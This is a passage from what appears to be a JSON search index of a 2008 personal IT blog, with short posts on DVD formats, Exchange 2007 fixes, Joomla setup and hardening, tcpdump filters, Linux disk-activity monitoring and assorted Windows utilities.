cheaper than the “plus” format.\nThe DVD+R/RW format is supported by Philips, Dell, Sony, HP, and Microsoft. These discs can be written to in multiple layers, giving them slightly better and more disc storage than the “minus“ format. Because of this additional capacity, they are slightly more expensive than “minus“ discs.\nA couple final things to clear up is the difference between DVD-ROM and DVD+RW, or the other DVD formats I mentioned above. The DVD-ROM drive can only read DVDs, while the other DVD drives can read and write data to DVDs.\nAnd naturally the DVD+RW CD+RW difference can be explained by the “DVD” or “CD” prefix. DVDs, on average, can store up to 4.7 GB of data, while a CD can only store about 700 MB of data, or about 15% of a DVD’s capacity. While CDs are slightly cheaper, in my opinion, the benefits of DVDs are much greater.\nSo now that you’ve learned about the difference between DVD-R, DVD+R, DVD-RW, DVD+RW, and even DVD-ROM, which one is right for you? The easiest way to determine which is more beneficial is to watch the industry trends. A few years ago all pre-built computers were shipping with DVD-ROM drives. Today, most PCs have a burnable DVD drive.\nI feel that the benefits of having a burnable DVD drive far outweigh any additional costs. They store much more data, and they are ideal for storing your home movies to watch on your DVD player.\nMy advice is to look at DVD burners that support all of the major formats I’ve mentioned above, DVD-R, DVD+R, DVD-RW, and DVD+RW. While a DVD drive that supports all of these formats may be slightly more expensive, it will allow you to use any type of DVD disc to burn to, and you’ll be protected from any industry shifts to one format or the other.\nSource: http://mybroadband.co.za/vb/showpost.php?s=03f8eb13326624df9b28a1aa4a78f71d\u0026amp;p=585143\u0026amp;postcount=8\n","permalink":"https://blog.wapnet.nl/2008/12/dvd-explained/","summary":"\u003cp\u003eThere’s DVD+R, DVD+RW, DVD-R, DVD-RW, and even DVD-ROM! So what’s the difference between all of these different names, aren’t all DVDs the same? Well, it’s not quite that simple.\u003c/p\u003e\n\u003cp\u003eLet’s first start with the most obvious difference: some have R and some have RW. The “R” stands for recordable, while the “W” stands for rewriteable.\u003c/p\u003e\n\u003cp\u003eThe main difference between DVD-R and DVD-RW, or DVD+R and DVD+RW is that the R disc formats can only be written to once, and then it is only readable and can’t be erased for the rest of its digital life. While RW discs are can be written to and erased many times, they are both readable and writeable.\u003c/p\u003e","title":"DVD Explained"},{"content":"To deal with the failed ewf function after Norton Ghost cloning, you should keyin the command below\nC:\\rundll32 ewfdll.dll,ConfigureEwf Notice: the \u0026ldquo;ConfigureEwf\u0026rdquo; parameter is casesensitive.\nThen the ewf will re-initialized after rebooting. Check the state, by using check command like C:\\ewfmgr C:\nSource: http://www.pcreview.co.uk/forums/thread-523966.php\n","permalink":"https://blog.wapnet.nl/2008/12/enable-ewf-after-norton-ghost-restore/","summary":"\u003cp\u003eTo deal with the failed ewf function after Norton Ghost cloning,\nyou should keyin the command below\u003c/p\u003e\n\u003cp\u003eC:\\rundll32 ewfdll.dll,ConfigureEwf\nNotice: the \u0026ldquo;ConfigureEwf\u0026rdquo; parameter is casesensitive.\u003c/p\u003e\n\u003cp\u003eThen the ewf will re-initialized after rebooting.\nCheck the state, by using check command like C:\\ewfmgr C:\u003c/p\u003e\n\u003cp\u003eSource: \u003ca href=\"http://www.pcreview.co.uk/forums/thread-523966.php\"\u003ehttp://www.pcreview.co.uk/forums/thread-523966.php\u003c/a\u003e\u003c/p\u003e","title":"Enable EWF after Norton Ghost Restore"},{"content":"Click here: royale_noir\n","permalink":"https://blog.wapnet.nl/2008/11/xp-media-center-skin-for-xp-home-en-professional/","summary":"\u003cp\u003eClick here: \u003ca href=\"/wp-content/uploads/2008/11/royale_noir.rar\"\u003eroyale_noir\u003c/a\u003e\u003c/p\u003e","title":"XP Media Center skin for XP Home en Professional"},{"content":"Hierbij de stappen om een website Joomla te ontwikkelen\n1. Download en installeer wampserver op je pc (http://www.wampserver.com/en/download.php). Install locatie c:\\wamp\n2. Start na de installatie de services:\n3. Download joomla 1.5 full package: http://www.joomla.org/download.html 4. Pak het zip bestand uit in op c:\\wamp\\www\n5. Ga in je browser naar http://localhost 6. Start phpmyadmin 7. Maak een nieuwe database (nieuwe collatie) noem deze test 8. Ga naar het begin scherm van phpmyadmin 9. Klik op rechten en maak een nieuwe gebruiker en noem deze test met password test. Database staat op localhost en klik op start\n10. Scroll naar beneden en geef op test en druk op start\n11. Klik op selecteer alles en klik op start\n12. Ga naar http://localhost/joomla en doorloop de wizard. 13. Als de wizard succes verlopen is moet je even de installatie map hernoemen of verwijderen. Deze is te vinden op: c:\\wamp\\www\\installation\nPlugins/Extensions kun je van http://extensions.joomla.org/ halen :) Succes\n","permalink":"https://blog.wapnet.nl/2008/11/installeer-een-joomla-testomgeving-onder-windows/","summary":"\u003cp\u003eHierbij de stappen om een website Joomla te ontwikkelen\u003c/p\u003e\n\u003cp\u003e1.    Download en installeer wampserver op je pc (\u003ca href=\"http://www.wampserver.com/en/download.php\"\u003ehttp://www.wampserver.com/en/download.php\u003c/a\u003e). Install locatie c:\\wamp\u003cbr\u003e\n2.    Start na de installatie de services:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2008/11/joomla-1.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2008/11/joomla-1.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e3.    Download joomla 1.5 full package: \u003ca href=\"http://www.joomla.org/download.html\"\u003ehttp://www.joomla.org/download.html\u003c/a\u003e\n4.    Pak het zip bestand uit in op c:\\wamp\\www\u003cbr\u003e\n5.    Ga in je browser naar \u003ca href=\"http://localhost\"\u003ehttp://localhost\u003c/a\u003e\n6.    Start phpmyadmin\n7.    Maak een nieuwe database (nieuwe collatie) noem deze test\n8.    Ga naar het begin scherm van phpmyadmin\n9.    Klik op rechten en maak een nieuwe gebruiker en noem deze test met password test. Database staat op localhost en klik op start\u003c/p\u003e","title":"Installeer een Joomla testomgeving onder Windows"},{"content":"Introduction UNetbootin allows for the installation of various Linux/BSD distributions to a partition or USB drive, so it\u0026rsquo;s no different from a standard install, only it doesn\u0026rsquo;t need a CD. It can create a dual-boot install, or replace the existing OS entirely.\nRequirements Microsoft Windows 2000/XP/Vista, or Linux, or a USB Drive. If you are having trouble with the Linux version, try the Windows version, it usually works better. A broadband internet connection to download the distribution packages (unless installing from pre-downloaded media, see below) Spare hard drive space to install the OS in (varies depending on distribution) Features UNetbootin can install to your local hard disk or make a bootable liveUSB drive. It can also load floppy/hard disk images, or kernel/initrds, or (some) ISO (CD image) files, for installing other distributions.\n","permalink":"https://blog.wapnet.nl/2008/10/unetbootin-universal-netboot-installer/","summary":"\u003ch2 id=\"introduction\"\u003eIntroduction\u003c/h2\u003e\n\u003cp\u003eUNetbootin allows for the installation of various Linux/BSD distributions to a partition or USB drive, so it\u0026rsquo;s no different from a standard install, only it doesn\u0026rsquo;t need a CD. It can create a dual-boot install, or replace the existing OS entirely.\u003c/p\u003e\n\u003ch2 id=\"requirements\"\u003eRequirements\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMicrosoft Windows 2000/XP/Vista, or Linux, or a USB Drive. If you are having trouble with the Linux version, try the Windows version, it usually works better.\u003c/li\u003e\n\u003cli\u003eA broadband internet connection to download the distribution packages (unless installing from pre-downloaded media, see below)\u003c/li\u003e\n\u003cli\u003eSpare hard drive space to install the OS in (varies depending on distribution)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"features\"\u003eFeatures\u003c/h2\u003e\n\u003cp\u003eUNetbootin can install to your local hard disk or make a bootable liveUSB drive. It can also load floppy/hard disk images, or kernel/initrds, or (some) ISO (CD image) files, for \u003ca href=\"http://unetbootin.sourceforge.net/#other\"\u003einstalling other distributions\u003c/a\u003e.\u003c/p\u003e","title":"UNetbootin - Universal Netboot Installer"},{"content":"To enable anti-spam functionality on a Hub Transport server\nRun the following command: Copy Code\n./install-AntispamAgents.ps1 After the script has run, restart the Microsoft Exchange Transport service by running the following command: Copy Code\nRestart-Service MSExchangeTransport Run the following command:\n./install-AntispamAgents.ps1 After the script has run, restart the Microsoft Exchange Transport service by running the following command:\nRestart-Service MSExchangeTransport ","permalink":"https://blog.wapnet.nl/2008/10/exchange-2007-spam-solution/","summary":"\u003cp\u003eTo enable anti-spam functionality on a Hub Transport server\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eRun the following command:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003ca href=\"javascript:CopyCode('ctl00_rs1_mainContentContainer_ctl20other');\"\u003e\u003cimg loading=\"lazy\" src=\"http://i.technet.microsoft.com/Global/Images/clear.gif\"\u003e Copy Code\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e./install-AntispamAgents.ps1\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col\u003e\n\u003cli\u003eAfter the script has run, restart the Microsoft Exchange Transport service by running the following command:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003ca href=\"javascript:CopyCode('ctl00_rs1_mainContentContainer_ctl21other');\"\u003e\u003cimg loading=\"lazy\" src=\"http://i.technet.microsoft.com/Global/Images/clear.gif\"\u003e Copy Code\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRestart-Service MSExchangeTransport\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eRun the following command:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e./install-AntispamAgents.ps1\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAfter the script has run, restart the Microsoft Exchange Transport service by running the following command:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRestart-Service MSExchangeTransport\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/li\u003e\n\u003c/ol\u003e","title":"Exchange 2007 Spam solution"},{"content":"On the internet is alot of crap that can ruïn your pc completely. Spyware and Virusses can make a lot of damage. But there is a solution for it.\nYou can isolate your browser easely with the tool Sandboxie. Some info:\nThe red arrows indicate changes flowing from a running program into your computer. The box labeled Hard disk (no sandbox) shows changes by a program running normally. The box labeled Hard disk (with sandbox) shows changes by a program running under Sandboxie. The animation illustrates that Sandboxie is able to intercept the changes and isolate them within a sandbox, depicted as a yellow rectangle. It also illustrates that grouping the changes together makes it easy to delete all of them at once.\nMore info: http://www.sandboxie.com/\n","permalink":"https://blog.wapnet.nl/2008/10/save-webserving/","summary":"\u003cp\u003eOn the internet is alot of crap that can ruïn your pc completely. Spyware and Virusses can make a lot of damage. But there is a solution for it.\u003c/p\u003e\n\u003cp\u003eYou can isolate your browser easely with the tool Sandboxie. Some info:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2008/10/frontpageanimation.gif\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2008/10/frontpageanimation.gif\"\u003e\u003c/a\u003e\u003ca href=\"/wp-content/uploads/2008/10/frontpagelegend.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2008/10/frontpagelegend.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThe red arrows indicate changes flowing from a running program into your computer. The box labeled \u003cem\u003eHard disk (no sandbox)\u003c/em\u003e shows changes by a program running normally. The box labeled \u003cem\u003eHard disk (with sandbox)\u003c/em\u003e shows changes by a program running under Sandboxie. The animation illustrates that Sandboxie is able to intercept the changes and isolate them within a \u003cstrong\u003esandbox\u003c/strong\u003e, depicted as a yellow rectangle. It also illustrates that grouping the changes together makes it easy to delete all of them at once.\u003c/p\u003e","title":"Save webserving"},{"content":"Many terminalservers have an memory problem. You easily can write a fix for it with a simple but powerful Windows 2003 server resource kit tool.\nFirst download the resource kit\nThen copy empty.exe from the resource kit to c:\\scripts\\freemem or something\nWrite a batch file c:\\scripts\\freemem\\freemem.bat\nExample batch file:\n@echo off\nc:\\scripts\\freemem\\empty.exe iexplore.exe c:\\scripts\\freemem\\empty.exe outlook.exe c:\\scripts\\freemem\\empty.exe winword.exe\nRun this script every 30 minutes en you have al lot of extra memory to spent :)\nAlso add the /PAE to your boot.ini to get 700mb extra (if you have 4 gig of ram). See this support article\nGood luck!\n","permalink":"https://blog.wapnet.nl/2008/10/terminal-server-high-memory-solutions/","summary":"\u003cp\u003eMany terminalservers have an memory problem. You easily can write a fix for it with a simple but powerful Windows 2003 server resource kit tool.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFirst download the \u003ca href=\"http://www.microsoft.com/downloads/details.aspx?FamilyID=9D467A69-57FF-4AE7-96EE-B18C4790CFFD\u0026amp;displaylang=en\"\u003eresource kit\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eThen copy empty.exe from the resource kit to c:\\scripts\\freemem or something\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eWrite a batch file c:\\scripts\\freemem\\freemem.bat\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eExample batch file:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e@echo off\u003c/p\u003e\n\u003cp\u003ec:\\scripts\\freemem\\empty.exe iexplore.exe\nc:\\scripts\\freemem\\empty.exe outlook.exe\nc:\\scripts\\freemem\\empty.exe winword.exe\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eRun this script every 30 minutes en you have al lot of extra memory to spent :)\u003c/p\u003e","title":"Terminal server memory solutions"},{"content":"August 20, 2008 by Curtis Johnstone\nThe first question often asked when exposing OCS functionality to the Internet is “what ports do I need to open on my firewall?”.\nThe answer depends on which Edge functionality (and the associated Role), being exposed to the Internet.Below is a concise recap of the default Ports that need to be opened to expose specific OCS functionality to remote users (on the Internet).\nEdge Role\nFunctionality\nExternal F/W Port\nInternal F/W Port\nProtocol\nReverse Proxy\nAddress Book, File Download, etc…\n443\n443\nHTTP(S)\nAccess\nRemote IM and Presence, Federation, Public IM\n443, 5061\n5061\nSIP/MTLS\nWeb Conferencing\nExternal Web Conf Participation\n443\n8057\nPSOM/MTLS\nAudio/Video Conferencing\nExternal A/V Conf Participation\n443, 3478, 50,000-59,999\n443, 5062, 3478\nSTUN\nChapter 2.3 of the Office Communications Server 2007 Document: Edge Server Deployment Guide provides more detail, including the associated Firewall policies.\n","permalink":"https://blog.wapnet.nl/2008/10/what-ports-do-i-need-to-open-on-my-firewall/","summary":"\u003cp\u003eAugust 20, 2008 by \u003ca href=\"http://ocsbuzz.wordpress.com/author/ocsbuzz/\" title=\"Posts by Curtis Johnstone\"\u003eCurtis Johnstone\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThe first question often asked when exposing OCS functionality to the Internet is “what ports do I need to open on my firewall?”.\u003c/p\u003e\n\u003cp\u003eThe answer depends on which Edge functionality (and the associated Role), being exposed to the Internet.Below is a concise recap of the default Ports that need to be opened to expose specific OCS functionality to remote users (on the Internet).\u003c/p\u003e","title":"What Ports do I need to open on my Firewall?"},{"content":"","permalink":"https://blog.wapnet.nl/2008/10/diesel-xxx/","summary":"","title":"Diesel XXX"},{"content":"With Inno setup can you create a MSI or EXE installer file. I write different setups for customers. Always I used the Inno scripting tool. But you have a GUI for Inno setup also.\nThe name of the tool is ISTool.\n","permalink":"https://blog.wapnet.nl/2008/10/inno-setup-istool/","summary":"\u003cp\u003eWith Inno setup can you create a MSI or EXE installer file. I write different setups for customers. Always I used the Inno scripting tool. But you have a GUI for Inno setup also.\u003c/p\u003e\n\u003cp\u003eThe name of the tool is \u003ca href=\"http://www.istool.org\"\u003eISTool\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2008/10/istool4.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2008/10/istool4.png\"\u003e\u003c/a\u003e\u003ca href=\"/wp-content/uploads/2008/10/istool1.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2008/10/istool1.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Inno setup + ISTool"},{"content":"Hi,\nI found a freeware tool where you can convert a youtube movie to your Ipod.\nYou can download is from: http://www.dvdvideosoft.com/products/dvd/Free-YouTube-to-iPod-Converter.htm\n","permalink":"https://blog.wapnet.nl/2008/10/youtube-to-ipod-converter/","summary":"\u003cp\u003eHi,\u003c/p\u003e\n\u003cp\u003eI found a freeware tool where you can convert a youtube movie to your Ipod.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2008/10/ipod.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2008/10/ipod.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eYou can download is from: \u003ca href=\"http://www.dvdvideosoft.com/products/dvd/Free-YouTube-to-iPod-Converter.htm\"\u003ehttp://www.dvdvideosoft.com/products/dvd/Free-YouTube-to-iPod-Converter.htm\u003c/a\u003e\u003c/p\u003e","title":"YouTube to iPod Converter"},{"content":"Seagate Barracuda 7200.10 ST3500630AS, 500GB synology disk station ds 108j Cheapest shop\n","permalink":"https://blog.wapnet.nl/2008/10/new-toy/","summary":"\u003cp\u003e\u003ca href=\"http://www.synology.com/enu/images/homeNavi/DS108j.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"http://www.synology.com/enu/images/homeNavi/DS108j.jpg\"\u003e\u003c/a\u003e\u003ca href=\"http://tweakers.net/pricewatch/137127/seagate-barracuda-720010-st3500630as-500gb.html\"\u003eSeagate Barracuda 7200.10 ST3500630AS, 500GB\u003c/a\u003e \u003ca href=\"http://tweakers.net/pricewatch/223912/synology-disk-station-ds-108j.html\"\u003esynology disk station ds 108j\u003c/a\u003e \u003ca href=\"http://www.komplett.nl\"\u003eCheapest shop\u003c/a\u003e\u003cimg loading=\"lazy\" src=\"file:///C:/DOCUME~1/ADMINI~1/LOCALS~1/Temp/moz-screenshot-1.jpg\"\u003e\u003c/p\u003e","title":"New Toy"},{"content":"Error Message: “Mapi session “/o=Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=JohnSmith” exceeded the maximum of 32 objects of type “session”\u0026quot;. Source: MSExchangeIS Event ID: 9646\nOn the client side, the user is unable to connect to Microsoft Exchange or getting this error:\nUnable to open your default e-mail folders. The Microsoft Exchange Server computer is not available. Either there are network problems or the Microsoft Exchange Server is down for maintenance.\nThis usually happens when the user loses network connectivity while Outlook is still open. The Exchange server wasn’t able to close the sessions properly so they just stayed there even when they are not in use.\nBy default, Exchange only allows up to 32 MAPI (Outlook) sessions per user. To fix this problem, you must close some of the sessions.\nWhat to do:\nDownload and extract Sysinternals’ TCPView (free) on the Exchange server Open the Exchange Management Shell and type in the following command to get a list of all the opened sessions. Make a note of the IP Addresses: Get-LogonStatistics jsmith | Sort-Object clientipaddress | Format-Table username,clientipaddress,logontime\nOpen Tcpview.exe on the server. Sort it by Remote Address, then sort it by Process. Look for the IP Addresses from Step 2 in the Remote Address column (if you only see hostnames, go to Options -\u0026gt; uncheck Resolve Addresses) and close their connections for the store.exe process (right-click and choose Close Connection, you can select multiple connections by holding the Shift or Ctrl key) Run the command from Step 2 again and you will see that the sessions disappeared. The user should now be able to connect to the Exchange server again. ","permalink":"https://blog.wapnet.nl/2008/10/exchange-2007-mapi-session-exceeded-the-maximum-of-32-objects-of-type-session/","summary":"\u003cp\u003eError Message: “Mapi session “/o=Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=JohnSmith” exceeded the maximum of 32 objects of type “session”\u0026quot;.\nSource: MSExchangeIS\nEvent ID: 9646\u003c/p\u003e\n\u003cp\u003eOn the client side, the user is unable to connect to Microsoft Exchange or getting this error:\u003c/p\u003e\n\u003cp\u003eUnable to open your default e-mail folders. The Microsoft Exchange Server computer is not available. Either there are network problems or the Microsoft Exchange Server is down for maintenance.\u003c/p\u003e\n\u003cp\u003eThis usually happens when the user loses network connectivity while Outlook is still open. The Exchange server wasn’t able to close the sessions properly so they just stayed there even when they are not in use.\u003c/p\u003e","title":"Exchange 2007: Mapi session exceeded the maximum of 32 objects of type “session”"},{"content":"tcpdump \u0026ldquo;tcp port 80 and (((ip[2:2] - ((ip[0]\u0026amp;0xf)\u0026laquo;2)) - ((tcp[12]\u0026amp;0xf0)\u0026raquo;2)) != 0)\u0026rdquo;\neasier command:\ntcpdump -i eth0 not port 22\n","permalink":"https://blog.wapnet.nl/2008/10/linux-tcpdump-apache/","summary":"\u003cp\u003etcpdump \u0026ldquo;tcp port 80 and (((ip[2:2] - ((ip[0]\u0026amp;0xf)\u0026laquo;2)) - ((tcp[12]\u0026amp;0xf0)\u0026raquo;2)) != 0)\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eeasier command:\u003c/p\u003e\n\u003cp\u003etcpdump -i eth0 not port 22\u003c/p\u003e","title":"Linux TCPDump Apache"},{"content":"It is possible to achieve similar functionality to filemon with a linux 2.6.1 or newer kernel. what you need to do is the following: 1. Make sure that syslog doesn\u0026rsquo;t log kern.debug to a file(check /etc/syslog.conf). if it does, disable it temporarily (better), or stop syslog altogether (worse, because you will eliminate one possible cause of the disk activity) 2. type: echo 1 \u0026gt; /proc/sys/vm/block_dump 3. in bash, type (modify to fit your favourite shell): while true; do dmesg -c; sleep 1; done;\nThis effectively gives you a realtime live view of all disk activity note that if you didn\u0026rsquo;t dmesg -c since you booted, dmesg might contain a lot of info in the buffer, so let it barf everything onto the screen before attempting to actually read it.\nremember to restore things back to the way they were when you are done: 1. echo 0 \u0026gt; /proc/sys/vm/block_dump 2. restore syslog activity and/or kern.debug logging\nEnjoy!\n","permalink":"https://blog.wapnet.nl/2008/10/linux-filemon/","summary":"\u003cp\u003eIt is possible to achieve similar functionality to filemon with a linux 2.6.1 or newer kernel.\nwhat you need to do is the following:\n1. Make sure that syslog doesn\u0026rsquo;t log kern.debug to a file(check /etc/syslog.conf). if it does, disable it temporarily (better), or stop syslog altogether (worse, because you will eliminate one possible cause of the disk activity)\n2. type:\necho 1 \u0026gt; /proc/sys/vm/block_dump\n3. in bash, type (modify to fit your favourite shell):\nwhile true; do dmesg -c; sleep 1; done;\u003c/p\u003e","title":"Linux Filemon"},{"content":"Joomla is a powerful content management system that helps to build the customized online applications, portals and websites. Joomla provides powerful solutions small business websites, community-based portals, jobs portals, news portals, e-commerce websites, auction websites, magazines, non-profit organizations and personal websites. The real power of the Joomla in its application framework and there are thousands of developers that are creating the powerful add-ons, components and modules for Joomla.\nSecurity is the major concern of every business owner online and there multiple security related components in Joomla for the user authentication, user management, backup, site security, captcha, content restriction and others. The basic Joomla package is secure and people find no problem in installing and running the application. But sometimes, there is enhanced security features are required to secure the Joomla applications. There are some great third party components that can be used to secure your Joomla website.\nHere are some best Joomla security related tips.\nRename the Joomla Admin account. Always keep your Joomla website updated. Make sure that your configuration.php file is not writable. Change the files permissions CHMOD (644 for files, 755 for directories). Check the vulnerabilities and the corrupt files by using the Joomla Diagnostic tools. Use Strong password. Backup your Joomla application periodically with good backup tools. Below is the brief overview of some of best security related components of Joomla.\nSite Security Protect Configuration File Protect Configuration File is component that is used to enhance the security of the Joomla configuration file.\njFireWall EndPoint Protection - Anti hacker\nIf you are seriously considering preventing the hackers’ attacks and increasing the secure of your website then jFireWall EndPoint Protection - Anti hacker is a good option for you.\nJDefender - Ultimate Joomla Protection\nJDefender is ultimate Joomla protection component that projects the Joomla from the SQL injection and PHP injections.\nUser Authentication RegistrationBlocker\nRegistrationBlocker is a system that allows you to block certain usernames from being registered.\nSecure Registration\nSecure Registration is another important component of Joomla that allow the users to register securely.\nBackup JoomlaPack - AJAX powered backup and restore\nIt is an open source backup component that creates the site backup that can be restored on any Joomla capable server.\nJombackup daily mysql backup bot It takes the daily backups of the MySQL and sends it to the email of your choice. There are plenty of configuration options available but the default options are enough to use this component efficiently.\nSource: http://clubtvk.com/content/view/51/63/\n","permalink":"https://blog.wapnet.nl/2008/10/how-to-secure-joomla-website/","summary":"\u003cp\u003eJoomla is a powerful content management system that helps to build the customized online applications, portals and websites. Joomla provides powerful solutions small business websites, community-based portals, jobs portals, news portals, e-commerce websites, auction websites, magazines, non-profit organizations and personal websites.  The real power of the Joomla in its application framework and there are thousands of developers that are creating the powerful add-ons, components and modules for Joomla.\u003c/p\u003e\n\u003cp\u003eSecurity is the major concern of every business owner online and there multiple security related components in Joomla for the user authentication, user management, backup, site security, captcha, content restriction and others. The basic Joomla package is secure and people find no problem in installing and running the application.  But sometimes, there is enhanced security features are required to secure the Joomla applications. There are some great third party components that can be used to secure your Joomla website.\u003c/p\u003e","title":"How to Secure Joomla Website"},{"content":"\nRoyal TS: Easy Remote Desktop Connections Royal TS allows you to organize and manage multiple remote desktop connections. Connect to any machine where terminal services are enabled. Organize connections in custom categories for quick access. Connect directly to the console session and find out who else is connected to the machine.Website: http://code4ward.net/CS2/Default.aspx\n","permalink":"https://blog.wapnet.nl/2008/10/royal-ts-easy-remote-desktop-connections/","summary":"\u003cp\u003e\u003ca href=\"http://code4ward.net/cs2/images/RoyalTSHeader.gif\"\u003e\u003cimg loading=\"lazy\" src=\"http://code4ward.net/cs2/images/RoyalTSHeader.gif\"\u003e\u003c/a\u003e\u003cimg loading=\"lazy\" src=\"/cs2/images/RoyalTSHeader.gif\"\u003e\u003c/p\u003e\n\u003ch2 id=\"royal-ts-easy-remote-desktop-connections\"\u003eRoyal TS: Easy Remote Desktop Connections\u003c/h2\u003e\n\u003cp\u003eRoyal TS allows you to organize and manage multiple remote desktop connections. Connect to any machine where terminal services are enabled. Organize connections in custom categories for quick access. Connect directly to the console session and find out who else is connected to the machine.\u003ca href=\"http://code4ward.net/CS2/Default.aspx\"\u003eWebsite:  http://code4ward.net/CS2/Default.aspx\u003c/a\u003e\u003c/p\u003e","title":"Royal TS: Easy Remote Desktop Connections"},{"content":" Quickstart Guide Usage Guide FAQ Public Discussion Forum About Input Director Input Director is a Windows application that lets you control multiple Windows systems using the keyboard/mouse attached to one computer. It is designed for folks who have two (or more) computers set up at home and find themselves regularly sliding from one system to the other (and wearing out the carpet in the process!). With Input Director, you can share a single keyboard/mouse across a set of systems. You switch which system receives the input either by hotkey or by moving the cursor so that it transitions from one screen to the other (in a very similar fashion to a multi-monitor setup). The idea being that you can position the monitors from two or more systems in a row and use a shared keyboard/mouse to control all of them.Input Director also supports a \u0026ldquo;shared\u0026rdquo; clipboard, in which you can copy data onto the clipboard on one system, transition across to another and paste.\nInput Director requires Windows 2000 (Service Pack 4), Windows XP (Service Pack 2), Windows 2003 or Windows Vista. The systems must be networked.\n","permalink":"https://blog.wapnet.nl/2008/10/input-director/","summary":"\u003cul\u003e\n\u003cli\u003e\u003ca href=\"http://www.inputdirector.com/quickstart-install.html\"\u003eQuickstart Guide\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://www.inputdirector.com/quickstart-usage.html\"\u003eUsage Guide\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://www.inputdirector.com/faq.html\"\u003eFAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://groups.google.com/group/input-director?hl=en\"\u003ePublic Discussion Forum\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"about-input-director\"\u003eAbout Input Director\u003c/h2\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://www.inputdirector.com/images/inputdirector_sketch.png\"\u003e Input Director is a Windows application that lets you control multiple Windows systems using the keyboard/mouse attached to one computer. It is designed for folks who have two (or more) computers set up at home and find themselves regularly sliding from one system to the other (and wearing out the carpet in the process!). With Input Director, you can share a single keyboard/mouse across a set of systems. You switch which system receives the input either by hotkey or by moving the cursor so that it transitions from one screen to the other (in a very similar fashion to a multi-monitor setup). The idea being that you can position the monitors from two or more systems in a row and use a shared keyboard/mouse to control all of them.Input Director also supports a \u0026ldquo;shared\u0026rdquo; clipboard, in which you can copy data onto the clipboard on one system, transition across to another and paste.\u003c/p\u003e","title":"Input Director"},{"content":"The HP iPAQ 514 battery is empty very fast. Here you can find a ARM driver update to fix this issue: 